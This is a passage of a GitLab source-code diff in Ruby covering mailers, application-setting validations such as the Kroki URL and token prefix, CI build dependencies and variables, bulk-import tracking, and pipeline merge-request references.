+ ['display-whats-new-notification', most_recent_version].join('-')
+ end
- def whats_new_most_recent_version
- Gitlab::ProcessMemoryCache.cache_backend.fetch('whats_new:release_version', expires_in: CACHE_DURATION) do
- whats_new_release_items&.first&.[]('release')
- end
+ def whats_new_versions
+ ReleaseHighlight.versions
end
end
diff --git a/app/mailers/emails/issues.rb b/app/mailers/emails/issues.rb
index 10a1da90e9e..b2c1351bd28 100644
--- a/app/mailers/emails/issues.rb
+++ b/app/mailers/emails/issues.rb
@@ -80,6 +80,16 @@ module Emails
mail_answer_thread(issue, issue_thread_options(updated_by_user.id, recipient.id, reason))
end
+ def issue_cloned_email(recipient, issue, new_issue, updated_by_user, reason = nil)
+ setup_issue_mail(issue.id, recipient.id)
+
+ @author = updated_by_user
+ @issue = issue
+ @new_issue = new_issue
+ @can_access_project = recipient.can?(:read_project, @new_issue.project)
+ mail_answer_thread(issue, issue_thread_options(updated_by_user.id, recipient.id, reason))
+ end
+
def import_issues_csv_email(user_id, project_id, results)
@user = User.find(user_id)
@project = Project.find(project_id)
diff --git a/app/mailers/emails/members.rb b/app/mailers/emails/members.rb
index 0b5a8dfdc24..759181bd3cb 100644
--- a/app/mailers/emails/members.rb
+++ b/app/mailers/emails/members.rb
@@ -63,15 +63,6 @@ module Emails
subject: subject_line,
layout: 'unknown_user_mailer'
)
-
- if Gitlab::Experimentation.enabled?(:invitation_reminders)
- Gitlab::Tracking.event(
- Gitlab::Experimentation.experiment(:invitation_reminders).tracking_category,
- 'sent',
- property: Gitlab::Experimentation.enabled_for_attribute?(:invitation_reminders, member.invite_email) ? 'experimental_group' : 'control_group',
- label: Digest::MD5.hexdigest(member.to_global_id.to_s)
- )
- end
end
def member_invited_reminder_email(member_source_type, member_id, token, reminder_index)
diff --git a/app/mailers/emails/profile.rb b/app/mailers/emails/profile.rb
index 6f44b63f8d0..e3c72a343e7 100644
--- a/app/mailers/emails/profile.rb
+++ b/app/mailers/emails/profile.rb
@@ -18,6 +18,14 @@ module Emails
subject: subject(_("GitLab Account Request")))
end
+ def user_admin_rejection_email(name, email)
+ @name = name
+
+ profile_email_with_layout(
+ to: email,
+ subject: subject(_("GitLab account request rejected")))
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def new_ssh_key_email(key_id)
@key = Key.find_by(id: key_id)
diff --git a/app/mailers/emails/service_desk.rb b/app/mailers/emails/service_desk.rb
index fa646487819..4dceff5b7ba 100644
--- a/app/mailers/emails/service_desk.rb
+++ b/app/mailers/emails/service_desk.rb
@@ -47,7 +47,7 @@ module Emails
def service_desk_options(email_sender, email_type)
{
from: email_sender,
- to: @issue.service_desk_reply_to
+ to: @issue.external_author
}.tap do |options|
next unless template_body = template_content(email_type)
diff --git a/app/models/alert_management/alert.rb b/app/models/alert_management/alert.rb
index 7ce7f40b6a8..7090d9f4ea1 100644
--- a/app/models/alert_management/alert.rb
+++ b/app/models/alert_management/alert.rb
@@ -69,6 +69,11 @@ module AlertManagement
unknown: 5
}
+ enum domain: {
+ operations: 0,
+ threat_monitoring: 1
+ }
+
state_machine :status, initial: :triggered do
state :triggered, value: STATUSES[:triggered]
@@ -122,6 +127,8 @@ module AlertManagement
scope :open, -> { with_status(open_statuses) }
scope :not_resolved, -> { without_status(:resolved) }
scope :with_prometheus_alert, -> { includes(:prometheus_alert) }
+ scope :with_threat_monitoring_alerts, -> { where(domain: :threat_monitoring ) }
+ scope :with_operations_alerts, -> { where(domain: :operations) }
scope :order_start_time, -> (sort_order) { order(started_at: sort_order) }
scope :order_end_time, -> (sort_order) { order(ended_at: sort_order) }
@@ -263,3 +270,5 @@ module AlertManagement
end
end
end
+
+AlertManagement::Alert.prepend_if_ee('EE::AlertManagement::Alert')
diff --git a/app/models/alert_management/http_integration.rb b/app/models/alert_management/http_integration.rb
index ae5170867c3..0c916c576cb 100644
--- a/app/models/alert_management/http_integration.rb
+++ b/app/models/alert_management/http_integration.rb
@@ -22,6 +22,7 @@ module AlertManagement
validates :name, presence: true, length: { maximum: 255 }
validates :endpoint_identifier, presence: true, length: { maximum: 255 }, format: { with: /\A[A-Za-z0-9]+\z/ }
validates :endpoint_identifier, uniqueness: { scope: [:project_id, :active] }, if: :active?
+ validates :payload_attribute_mapping, json_schema: { filename: 'http_integration_payload_attribute_mapping' }
before_validation :prevent_token_assignment
before_validation :prevent_endpoint_identifier_assignment
diff --git a/app/models/analytics/devops_adoption.rb b/app/models/analytics/devops_adoption.rb
deleted file mode 100644
index ed5a5b16a6e..00000000000
--- a/app/models/analytics/devops_adoption.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-# frozen_string_literal: true
-module Analytics::DevopsAdoption
- def self.table_name_prefix
- 'analytics_devops_adoption_'
- end
-end
diff --git a/app/models/analytics/devops_adoption/segment.rb b/app/models/analytics/devops_adoption/segment.rb
deleted file mode 100644
index 71d4a312627..00000000000
--- a/app/models/analytics/devops_adoption/segment.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class Analytics::DevopsAdoption::Segment < ApplicationRecord
- ALLOWED_SEGMENT_COUNT = 20
-
- has_many :segment_selections
- has_many :groups, through: :segment_selections
-
- validates :name, presence: true, uniqueness: true, length: { maximum: 255 }
- validate :validate_segment_count
-
- accepts_nested_attributes_for :segment_selections, allow_destroy: true
-
- scope :ordered_by_name, -> { order(:name) }
- scope :with_groups, -> { preload(:groups) }
-
- private
-
- def validate_segment_count
- if self.class.count >= ALLOWED_SEGMENT_COUNT
- errors.add(:name, s_('DevopsAdoptionSegment|The maximum number of segments has been reached'))
- end
- end
-end
diff --git a/app/models/analytics/devops_adoption/segment_selection.rb b/app/models/analytics/devops_adoption/segment_selection.rb
deleted file mode 100644
index 6b70c13a773..00000000000
--- a/app/models/analytics/devops_adoption/segment_selection.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-class Analytics::DevopsAdoption::SegmentSelection < ApplicationRecord
- ALLOWED_SELECTIONS_PER_SEGMENT = 20
-
- belongs_to :segment
- belongs_to :project
- belongs_to :group
-
- validates :segment, presence: true
- validates :project, presence: { unless: :group }
- validates :project_id, uniqueness: { scope: :segment_id, if: :project }
- validates :group, presence: { unless: :project }
- validates :group_id, uniqueness: { scope: :segment_id, if: :group }
-
- validate :exclusive_project_or_group
- validate :validate_selection_count
-
- private
-
- def exclusive_project_or_group
- if project.present? && group.present?
- errors.add(:group, s_('DevopsAdoptionSegmentSelection|The selection cannot be configured for a project and for a group at the same time'))
- end
- end
-
- def validate_selection_count
- return unless segment
-
- selection_count_for_segment = self.class.where(segment: segment).count
-
- if selection_count_for_segment >= ALLOWED_SELECTIONS_PER_SEGMENT
- errors.add(:segment, s_('DevopsAdoptionSegmentSelection|The maximum number of selections has been reached'))
- end
- end
-end
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index 7bfa5fb4cb8..9b9db7f93fd 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -5,14 +5,14 @@ class ApplicationSetting < ApplicationRecord
include CacheMarkdownField
include TokenAuthenticatable
include ChronicDurationAttribute
- include IgnorableColumns
-
- ignore_column :namespace_storage_size_limit, remove_with: '13.5', remove_after: '2020-09-22'
INSTANCE_REVIEW_MIN_USERS = 50
GRAFANA_URL_ERROR_MESSAGE = 'Please check your Grafana URL setting in ' \
'Admin Area > Settings > Metrics and profiling > Metrics - Grafana'
+ KROKI_URL_ERROR_MESSAGE = 'Please check your Kroki URL setting in ' \
+ 'Admin Area > Settings > General > Kroki'
+
add_authentication_token_field :runners_registration_token, encrypted: -> { Feature.enabled?(:application_settings_tokens_optional_encryption) ? :optional : :required }
add_authentication_token_field :health_check_access_token
add_authentication_token_field :static_objects_external_storage_auth_token
@@ -128,6 +128,11 @@ class ApplicationSetting < ApplicationRecord
presence: true,
if: :unique_ips_limit_enabled
+ validates :kroki_url,
+ presence: { if: :kroki_enabled }
+
+ validate :validate_kroki_url, if: :kroki_enabled
+
validates :plantuml_url,
presence: true,
if: :plantuml_enabled
@@ -244,6 +249,12 @@ class ApplicationSetting < ApplicationRecord
validates :user_default_internal_regex, js_regex: true, allow_nil: true
+ validates :personal_access_token_prefix,
+ format: { with: /\A[a-zA-Z0-9_+=\/@:.-]+\z/,
+ message: _("can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'") },
+ length: { maximum: 20, message: _('is too long (maximum is %{count} characters)') },
+ allow_blank: true
+
validates :commit_email_hostname, format: { with: /\A[^@]+\z/ }
validates :archive_builds_in_seconds,
@@ -362,11 +373,11 @@ class ApplicationSetting < ApplicationRecord
validates :eks_access_key_id,
length: { in: 16..128 },
- if: :eks_integration_enabled?
+ if: -> (setting) { setting.eks_integration_enabled? && setting.eks_access_key_id.present? }
validates :eks_secret_access_key,
presence: true,
- if: :eks_integration_enabled?
+ if: -> (setting) { setting.eks_integration_enabled? && setting.eks_access_key_id.present? }
validates_with X509CertificateCredentialsValidator,
certificate: :external_auth_client_cert,
@@ -418,6 +429,9 @@ class ApplicationSetting < ApplicationRecord
attr_encrypted :secret_detection_token_revocation_token, encryption_options_base_truncated_aes_256_gcm
attr_encrypted :cloud_license_auth_token, encryption_options_base_truncated_aes_256_gcm
+ validates :disable_feed_token,
+ inclusion: { in: [true, false], message: 'must be a boolean value' }
+
before_validation :ensure_uuid!
before_save :ensure_runners_registration_token
@@ -429,18 +443,21 @@ class ApplicationSetting < ApplicationRecord
after_commit :expire_performance_bar_allowed_user_ids_cache, if: -> { previous_changes.key?('performance_bar_allowed_group_id') }
def validate_grafana_url
- unless parsed_grafana_url
- self.errors.add(
- :grafana_url,
- "must be a valid relative or absolute URL. #{GRAFANA_URL_ERROR_MESSAGE}"
- )
- end
+ validate_url(parsed_grafana_url, :grafana_url, GRAFANA_URL_ERROR_MESSAGE)
end
def grafana_url_absolute?
parsed_grafana_url&.absolute?
end
+ def validate_kroki_url
+ validate_url(parsed_kroki_url, :kroki_url, KROKI_URL_ERROR_MESSAGE)
+ end
+
+ def kroki_url_absolute?
+ parsed_kroki_url&.absolute?
+ end
+
def sourcegraph_url_is_com?
!!(sourcegraph_url =~ /\Ahttps:\/\/(www\.)?sourcegraph\.com/)
end
@@ -503,6 +520,24 @@ class ApplicationSetting < ApplicationRecord
def parsed_grafana_url
@parsed_grafana_url ||= Gitlab::Utils.parse_url(grafana_url)
end
+
+ def parsed_kroki_url
+ @parsed_kroki_url ||= Gitlab::UrlBlocker.validate!(kroki_url, schemes: %w(http https), enforce_sanitization: true)[0]
+ rescue Gitlab::UrlBlocker::BlockedUrlError => error
+ self.errors.add(
+ :kroki_url,
+ "is not valid. #{error}"
+ )
+ end
+
+ def validate_url(parsed_url, name, error_message)
+ unless parsed_url
+ self.errors.add(
+ name,
+ "must be a valid relative or absolute URL. #{error_message}"
+ )
+ end
+ end
end
ApplicationSetting.prepend_if_ee('EE::ApplicationSetting')
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index 5c7abbccd63..105889a364a 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -58,6 +58,7 @@ module ApplicationSettingImplementation
default_projects_limit: Settings.gitlab['default_projects_limit'],
default_snippet_visibility: Settings.gitlab.default_projects_features['visibility_level'],
diff_max_patch_bytes: Gitlab::Git::Diff::DEFAULT_MAX_PATCH_BYTES,
+ disable_feed_token: false,
disabled_oauth_sign_in_sources: [],
dns_rebinding_protection_enabled: true,
domain_allowlist: Settings.gitlab['domain_allowlist'],
@@ -103,6 +104,7 @@ module ApplicationSettingImplementation
password_authentication_enabled_for_git: true,
password_authentication_enabled_for_web: Settings.gitlab['signin_enabled'],
performance_bar_allowed_group_id: nil,
+ personal_access_token_prefix: nil,
plantuml_enabled: false,
plantuml_url: nil,
polling_interval_multiplier: 1,
@@ -168,7 +170,9 @@ module ApplicationSettingImplementation
user_show_add_ssh_key_message: true,
wiki_page_max_content_bytes: 50.megabytes,
container_registry_delete_tags_service_timeout: 250,
- container_registry_expiration_policies_worker_capacity: 0
+ container_registry_expiration_policies_worker_capacity: 0,
+ kroki_enabled: false,
+ kroki_url: nil
}
end
diff --git a/app/models/approval.rb b/app/models/approval.rb
index bc123de0b20..899ea466315 100644
--- a/app/models/approval.rb
+++ b/app/models/approval.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class Approval < ApplicationRecord
+ include CreatedAtFilterable
+
belongs_to :user
belongs_to :merge_request
diff --git a/app/models/audit_event.rb b/app/models/audit_event.rb
index 55e8a5d4535..a4d991b040c 100644
--- a/app/models/audit_event.rb
+++ b/app/models/audit_event.rb
@@ -13,6 +13,8 @@ class AuditEvent < ApplicationRecord
:target_id
].freeze
+ self.primary_key = :id
+
serialize :details, Hash # rubocop:disable Cop/ActiveRecordSerialize
belongs_to :user, foreign_key: :author_id
diff --git a/app/models/bulk_imports/entity.rb b/app/models/bulk_imports/entity.rb
index 34030e079c7..a4d0b7485ba 100644
--- a/app/models/bulk_imports/entity.rb
+++ b/app/models/bulk_imports/entity.rb
@@ -30,6 +30,11 @@ class BulkImports::Entity < ApplicationRecord
class_name: 'BulkImports::Tracker',
foreign_key: :bulk_import_entity_id
+ has_many :failures,
+ class_name: 'BulkImports::Failure',
+ inverse_of: :entity,
+ foreign_key: :bulk_import_entity_id
+
validates :project, absence: true, if: :group
validates :group, absence: true, if: :project
validates :source_type, :source_full_path, :destination_name,
@@ -52,6 +57,7 @@ class BulkImports::Entity < ApplicationRecord
event :finish do
transition started: :finished
+ transition failed: :failed
end
event :fail_op do
@@ -59,6 +65,25 @@ class BulkImports::Entity < ApplicationRecord
end
end
+ def update_tracker_for(relation:, has_next_page:, next_page: nil)
+ attributes = {
+ relation: relation,
+ has_next_page: has_next_page,
+ next_page: next_page,
+ bulk_import_entity_id: id
+ }
+
+ trackers.upsert(attributes, unique_by: %i[bulk_import_entity_id relation])
+ end
+
+ def has_next_page?(relation)
+ trackers.find_by(relation: relation)&.has_next_page
+ end
+
+ def next_page_for(relation)
+ trackers.find_by(relation: relation)&.next_page
+ end
+
private
def validate_parent_is_a_group
diff --git a/app/models/bulk_imports/failure.rb b/app/models/bulk_imports/failure.rb
new file mode 100644
index 00000000000..a6f7582c3b0
--- /dev/null
+++ b/app/models/bulk_imports/failure.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class BulkImports::Failure < ApplicationRecord
+ self.table_name = 'bulk_import_failures'
+
+ belongs_to :entity,
+ class_name: 'BulkImports::Entity',
+ foreign_key: :bulk_import_entity_id,
+ inverse_of: :failures,
+ optional: false
+
+ validates :entity, presence: true
+end
diff --git a/app/models/ci/bridge.rb b/app/models/ci/bridge.rb
index 5b23cf46fdb..19a0d424e33 100644
--- a/app/models/ci/bridge.rb
+++ b/app/models/ci/bridge.rb
@@ -132,14 +132,10 @@ module Ci
end
def playable?
- return false unless ::Gitlab::Ci::Features.manual_bridges_enabled?(project)
-
action? && !archived? && manual?
end
def action?
- return false unless ::Gitlab::Ci::Features.manual_bridges_enabled?(project)
-
%w[manual].include?(self.when)
end
@@ -206,7 +202,7 @@ module Ci
override :dependency_variables
def dependency_variables
- return [] unless ::Feature.enabled?(:ci_bridge_dependency_variables, project)
+ return [] unless ::Feature.enabled?(:ci_bridge_dependency_variables, project, default_enabled: true)
super
end
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index 84abd01786d..71939f070cb 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -190,6 +190,8 @@ module Ci
scope :with_coverage, -> { where.not(coverage: nil) }
+ scope :for_project, -> (project_id) { where(project_id: project_id) }
+
acts_as_taggable
add_authentication_token_field :token, encrypted: :optional
@@ -379,8 +381,16 @@ module Ci
Ci::BuildRunnerSession.where(build: build).delete_all
end
- after_transition any => [:skipped, :canceled] do |build|
- build.deployment&.cancel
+ after_transition any => [:skipped, :canceled] do |build, transition|
+ if Feature.enabled?(:cd_skipped_deployment_status, build.project)
+ if transition.to_name == :skipped
+ build.deployment&.skip
+ else
+ build.deployment&.cancel
+ end
+ else
+ build.deployment&.cancel
+ end
end
end
@@ -527,6 +537,7 @@ module Ci
strong_memoize(:variables) do
Gitlab::Ci::Variables::Collection.new
.concat(persisted_variables)
+ .concat(dependency_proxy_variables)
.concat(job_jwt_variables)
.concat(scoped_variables)
.concat(job_variables)
@@ -575,6 +586,15 @@ module Ci
end
end
+ def dependency_proxy_variables
+ Gitlab::Ci::Variables::Collection.new.tap do |variables|
+ break variables unless Gitlab.config.dependency_proxy.enabled
+
+ variables.append(key: 'CI_DEPENDENCY_PROXY_USER', value: ::Gitlab::Auth::CI_JOB_USER)
+ variables.append(key: 'CI_DEPENDENCY_PROXY_PASSWORD', value: token.to_s, public: false, masked: true)
+ end
+ end
+
def features
{ trace_sections: true }
end
@@ -908,13 +928,33 @@ module Ci
end
def collect_coverage_reports!(coverage_report)
+ project_path, worktree_paths = if Feature.enabled?(:smart_cobertura_parser, project)
+ # If the flag is disabled, we intentionally pass nil
+ # for both project_path and worktree_paths to fallback
+ # to the non-smart behavior of the parser
+ [project.full_path, pipeline.all_worktree_paths]
+ end
+
each_report(Ci::JobArtifact::COVERAGE_REPORT_FILE_TYPES) do |file_type, blob|
- Gitlab::Ci::Parsers.fabricate!(file_type).parse!(blob, coverage_report)
+ Gitlab::Ci::Parsers.fabricate!(file_type).parse!(
+ blob,
+ coverage_report,
+ project_path: project_path,
+ worktree_paths: worktree_paths
+ )
end
coverage_report
end
+ def collect_codequality_reports!(codequality_report)
+ each_report(Ci::JobArtifact::CODEQUALITY_REPORT_FILE_TYPES) do |file_type, blob|
+ Gitlab::Ci::Parsers.fabricate!(file_type).parse!(blob, codequality_report)
+ end
+
+ codequality_report
+ end
+
def collect_terraform_reports!(terraform_reports)
each_report(::Ci::JobArtifact::TERRAFORM_REPORT_FILE_TYPES) do |file_type, blob, report_artifact|
::Gitlab::Ci::Parsers.fabricate!(file_type).parse!(blob, terraform_reports, artifact: report_artifact)
@@ -966,6 +1006,15 @@ module Ci
::Gitlab.com? ? 500_000 : 0
end
+ def debug_mode?
+ return false unless Feature.enabled?(:restrict_access_to_build_debug_mode, default_enabled: true)
+
+ # TODO: Have `debug_mode?` check against data on sent back from runner
+ # to capture all the ways that variables can be set.
+ # See (https://gitlab.com/gitlab-org/gitlab/-/issues/290955)
+ variables.any? { |variable| variable[:key] == 'CI_DEBUG_TRACE' && variable[:value].casecmp('true') == 0 }
+ end
+
protected
def run_status_commit_hooks!
diff --git a/app/models/ci/build_dependencies.rb b/app/models/ci/build_dependencies.rb
index 2fcd1708cf4..a6abeb517c1 100644
--- a/app/models/ci/build_dependencies.rb
+++ b/app/models/ci/build_dependencies.rb
@@ -2,6 +2,8 @@
module Ci
class BuildDependencies
+ include ::Gitlab::Utils::StrongMemoize
+
attr_reader :processable
def initialize(processable)
@@ -9,7 +11,7 @@ module Ci
end
def all
- (local + cross_pipeline).uniq
+ (local + cross_pipeline + cross_project).uniq
end
# Dependencies local to the given pipeline
@@ -23,8 +25,16 @@ module Ci
deps
end
- # Dependencies that are defined in other pipelines
+ # Dependencies from the same parent-pipeline hierarchy excluding
+ # the current job's pipeline
def cross_pipeline
+ strong_memoize(:cross_pipeline) do
+ fetch_dependencies_in_hierarchy
+ end
+ end
+
+ # Dependencies that are defined by project and ref
+ def cross_project
[]
end
@@ -33,7 +43,7 @@ module Ci
end
def valid?
- valid_local? && valid_cross_pipeline?
+ valid_local? && valid_cross_pipeline? && valid_cross_project?
end
private
@@ -44,13 +54,61 @@ module Ci
::Ci::Build
end
+ def fetch_dependencies_in_hierarchy
+ deps_specifications = specified_cross_pipeline_dependencies
+ return [] if deps_specifications.empty?
+
+ deps_specifications = expand_variables_and_validate(deps_specifications)
+ jobs_in_pipeline_hierarchy(deps_specifications)
+ end
+
+ def jobs_in_pipeline_hierarchy(deps_specifications)
+ all_pipeline_ids = []
+ all_job_names = []
+
+ deps_specifications.each do |spec|
+ all_pipeline_ids << spec[:pipeline]
+ all_job_names << spec[:job]
+ end
+
+ model_class.latest.success
+ .in_pipelines(processable.pipeline.same_family_pipeline_ids)
+ .in_pipelines(all_pipeline_ids.uniq)
+ .by_name(all_job_names.uniq)
+ .select do |dependency|
+ # the query may not return exact matches pipeline-job, so we filter
+ # them separately.
+ deps_specifications.find do |spec|
+ spec[:pipeline] == dependency.pipeline_id &&
+ spec[:job] == dependency.name
+ end
+ end
+ end
+
+ def expand_variables_and_validate(specifications)
+ specifications.map do |spec|
+ pipeline = ExpandVariables.expand(spec[:pipeline].to_s, processable_variables).to_i
+ # current pipeline is not allowed because local dependencies
+ # should be used instead.
+ next if pipeline == processable.pipeline_id
+
+ job = ExpandVariables.expand(spec[:job], processable_variables)
+
+ { job: job, pipeline: pipeline }
+ end.compact
+ end
+
+ def valid_cross_pipeline?
+ cross_pipeline.size == specified_cross_pipeline_dependencies.size
+ end
+
def valid_local?
return true if Feature.enabled?(:ci_disable_validates_dependencies)
local.all?(&:valid_dependency?)
end
- def valid_cross_pipeline?
+ def valid_cross_project?
true
end
@@ -78,6 +136,22 @@ module Ci
scope.where(name: processable.options[:dependencies])
end
+
+ def processable_variables
+ -> { processable.simple_variables_without_dependencies }
+ end
+
+ def specified_cross_pipeline_dependencies
+ strong_memoize(:specified_cross_pipeline_dependencies) do
+ next [] unless Feature.enabled?(:ci_cross_pipeline_artifacts_download, processable.project, default_enabled: true)
+
+ specified_cross_dependencies.select { |dep| dep[:pipeline] && dep[:artifacts] }
+ end
+ end
+
+ def specified_cross_dependencies
+ Array(processable.options[:cross_dependencies])
+ end
end
end
diff --git a/app/models/ci/build_trace_chunks/fog.rb b/app/models/ci/build_trace_chunks/fog.rb
index d3051e3dadc..27b579bf428 100644
--- a/app/models/ci/build_trace_chunks/fog.rb
+++ b/app/models/ci/build_trace_chunks/fog.rb
@@ -14,11 +14,15 @@ module Ci
end
def set_data(model, new_data)
- # TODO: Support AWS S3 server side encryption
- files.create({
- key: key(model),
- body: new_data
- })
+ if Feature.enabled?(:ci_live_trace_use_fog_attributes, default_enabled: true)
+ files.create(create_attributes(model, new_data))
+ else
+ # TODO: Support AWS S3 server side encryption
+ files.create({
+ key: key(model),
+ body: new_data
+ })
+ end
end
def append_data(model, new_data, offset)
@@ -57,6 +61,13 @@ module Ci
key_raw(model.build_id, model.chunk_index)
end
+ def create_attributes(model, new_data)
+ {
+ key: key(model),
+ body: new_data
+ }.merge(object_store_config.fog_attributes)
+ end
+
def key_raw(build_id, chunk_index)
"tmp/builds/#{build_id.to_i}/chunks/#{chunk_index.to_i}.log"
end
@@ -84,6 +95,14 @@ module Ci
def object_store
Gitlab.config.artifacts.object_store
end
+
+ def object_store_raw_config
+ object_store
+ end
+
+ def object_store_config
+ @object_store_config ||= ::ObjectStorage::Config.new(object_store_raw_config)
+ end
end
end
end
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index 7cedd13b407..c80d50ea131 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -7,15 +7,13 @@ module Ci
include UpdateProjectStatistics
include UsageStatistics
include Sortable
- include IgnorableColumns
include Artifactable
include FileStoreMounter
extend Gitlab::Ci::Model
- ignore_columns :locked, remove_after: '2020-07-22', remove_with: '13.4'
-
TEST_REPORT_FILE_TYPES = %w[junit].freeze
COVERAGE_REPORT_FILE_TYPES = %w[cobertura].freeze
+ CODEQUALITY_REPORT_FILE_TYPES = %w[codequality].freeze
ACCESSIBILITY_REPORT_FILE_TYPES = %w[accessibility].freeze
NON_ERASABLE_FILE_TYPES = %w[trace].freeze
TERRAFORM_REPORT_FILE_TYPES = %w[terraform].freeze
@@ -157,6 +155,10 @@ module Ci
with_file_types(COVERAGE_REPORT_FILE_TYPES)
end
+ scope :codequality_reports, -> do
+ with_file_types(CODEQUALITY_REPORT_FILE_TYPES)
+ end
+
scope :terraform_reports, -> do
with_file_types(TERRAFORM_REPORT_FILE_TYPES)
end
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index 8707d635e03..5e5f51d776f 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -7,6 +7,7 @@ module Ci
include Importable
include AfterCommitQueue
include Presentable
+ include Gitlab::Allowable
include Gitlab::OptimisticLocking
include Gitlab::Utils::StrongMemoize
include AtomicInternalId
@@ -16,6 +17,8 @@ module Ci
include FromUnion
include UpdatedAtFilterable
+ MAX_OPEN_MERGE_REQUESTS_REFS = 4
+
PROJECT_ROUTE_AND_NAMESPACE_ROUTE = {
project: [:project_feature, :route, { namespace: :route }]
}.freeze
@@ -104,7 +107,6 @@ module Ci
accepts_nested_attributes_for :variables, reject_if: :persisted?
- delegate :id, to: :project, prefix: true
delegate :full_path, to: :project, prefix: true
validates :sha, presence: { unless: :importing? }
@@ -259,6 +261,22 @@ module Ci
end
end
+ after_transition any => any do |pipeline|
+ next unless Feature.enabled?(:jira_sync_builds, pipeline.project)
+
+ pipeline.run_after_commit do
+ # Passing the seq-id ensures this is idempotent
+ seq_id = ::Atlassian::JiraConnect::Client.generate_update_sequence_id
+ ::JiraConnect::SyncBuildsWorker.perform_async(pipeline.id, seq_id)
+ end
+ end
+
+ after_transition any => ::Ci::Pipeline.completed_statuses do |pipeline|
+ pipeline.run_after_commit do
+ ::Ci::TestFailureHistoryService.new(pipeline).async.perform_if_needed # rubocop: disable CodeReuse/ServiceClass
+ end
+ end
+
after_transition any => [:success, :failed] do |pipeline|
ref_status = pipeline.ci_ref&.update_status_by!(pipeline)
@@ -277,15 +295,17 @@ module Ci
scope :internal, -> { where(source: internal_sources) }
scope :no_child, -> { where.not(source: :parent_pipeline) }
scope :ci_sources, -> { where(source: Enums::Ci::Pipeline.ci_sources.values) }
+ scope :ci_branch_sources, -> { where(source: Enums::Ci::Pipeline.ci_branch_sources.values) }
scope :ci_and_parent_sources, -> { where(source: Enums::Ci::Pipeline.ci_and_parent_sources.values) }
scope :for_user, -> (user) { where(user: user) }
scope :for_sha, -> (sha) { where(sha: sha) }
scope :for_source_sha, -> (source_sha) { where(source_sha: source_sha) }
scope :for_sha_or_source_sha, -> (sha) { for_sha(sha).or(for_source_sha(sha)) }
scope :for_ref, -> (ref) { where(ref: ref) }
+ scope :for_branch, -> (branch) { for_ref(branch).where(tag: false) }
scope :for_id, -> (id) { where(id: id) }
scope :for_iid, -> (iid) { where(iid: iid) }
- scope :for_project, -> (project) { where(project: project) }
+ scope :for_project, -> (project_id) { where(project_id: project_id) }
scope :created_after, -> (time) { where('ci_pipelines.created_at > ?', time) }
scope :created_before_id, -> (id) { where('ci_pipelines.id < ?', id) }
scope :before_pipeline, -> (pipeline) { created_before_id(pipeline.id).outside_pipeline_family(pipeline) }
@@ -310,9 +330,9 @@ module Ci
# In general, please use `Ci::PipelinesForMergeRequestFinder` instead,
# for checking permission of the actor.
scope :triggered_by_merge_request, -> (merge_request) do
- ci_sources.where(source: :merge_request_event,
- merge_request: merge_request,
- project: [merge_request.source_project, merge_request.target_project])
+ where(source: :merge_request_event,
+ merge_request: merge_request,
+ project: [merge_request.source_project, merge_request.target_project])
end
# Returns the pipelines in descending order (= newest first), optionally
@@ -774,9 +794,20 @@ module Ci
variables.append(key: 'CI_MERGE_REQUEST_EVENT_TYPE', value: merge_request_event_type.to_s)
variables.append(key: 'CI_MERGE_REQUEST_SOURCE_BRANCH_SHA', value: source_sha.to_s)
variables.append(key: 'CI_MERGE_REQUEST_TARGET_BRANCH_SHA', value: target_sha.to_s)
+
+ diff = self.merge_request_diff
+ if diff.present?
+ variables.append(key: 'CI_MERGE_REQUEST_DIFF_ID', value: diff.id.to_s)
+ variables.append(key: 'CI_MERGE_REQUEST_DIFF_BASE_SHA', value: diff.base_commit_sha)
+ end
+
variables.concat(merge_request.predefined_variables)
end
+ if Gitlab::Ci::Features.pipeline_open_merge_requests?(project) && open_merge_requests_refs.any?
+ variables.append(key: 'CI_OPEN_MERGE_REQUESTS', value: open_merge_requests_refs.join(','))
+ end
+
variables.append(key: 'CI_KUBERNETES_ACTIVE', value: 'true') if has_kubernetes_active?
variables.append(key: 'CI_DEPLOY_FREEZE', value: 'true') if freeze_period?
@@ -824,9 +855,8 @@ module Ci
end
def execute_hooks
- data = pipeline_data
- project.execute_hooks(data, :pipeline_hooks)
- project.execute_services(data, :pipeline_hooks)
+ project.execute_hooks(pipeline_data, :pipeline_hooks) if project.has_active_hooks?(:pipeline_hooks)
+ project.execute_services(pipeline_data, :pipeline_hooks) if project.has_active_services?(:pipeline_hooks)
end
# All the merge requests for which the current pipeline runs/ran against
@@ -844,9 +874,39 @@ module Ci
all_merge_requests.order(id: :desc)
end
+ # This returns a list of MRs that point
+ # to the same source project/branch
+ def related_merge_requests
+ if merge_request?
+ # We look for all other MRs that this branch might be pointing to
+ MergeRequest.where(
+ source_project_id: merge_request.source_project_id,
+ source_branch: merge_request.source_branch)
+ else
+ MergeRequest.where(
+ source_project_id: project_id,
+ source_branch: ref)
+ end
+ end
+
+ # We cannot use `all_merge_requests`, due to race condition
+ # This returns a list of at most 4 open MRs
+ def open_merge_requests_refs
+ strong_memoize(:open_merge_requests_refs) do
+ # We ensure that triggering user can actually read the pipeline
+ related_merge_requests
+ .opened
+ .limit(MAX_OPEN_MERGE_REQUESTS_REFS)
+ .order(id: :desc)
+ .preload(:target_project)
+ .select { |mr| can?(user, :read_merge_request, mr) }
+ .map { |mr| mr.to_reference(project, full: true) }
+ end
+ end
+
def same_family_pipeline_ids
::Gitlab::Ci::PipelineObjectHierarchy.new(
- base_and_ancestors(same_project: true), options: { same_project: true }
+ self.class.where(id: root_ancestor), options: { same_project: true }
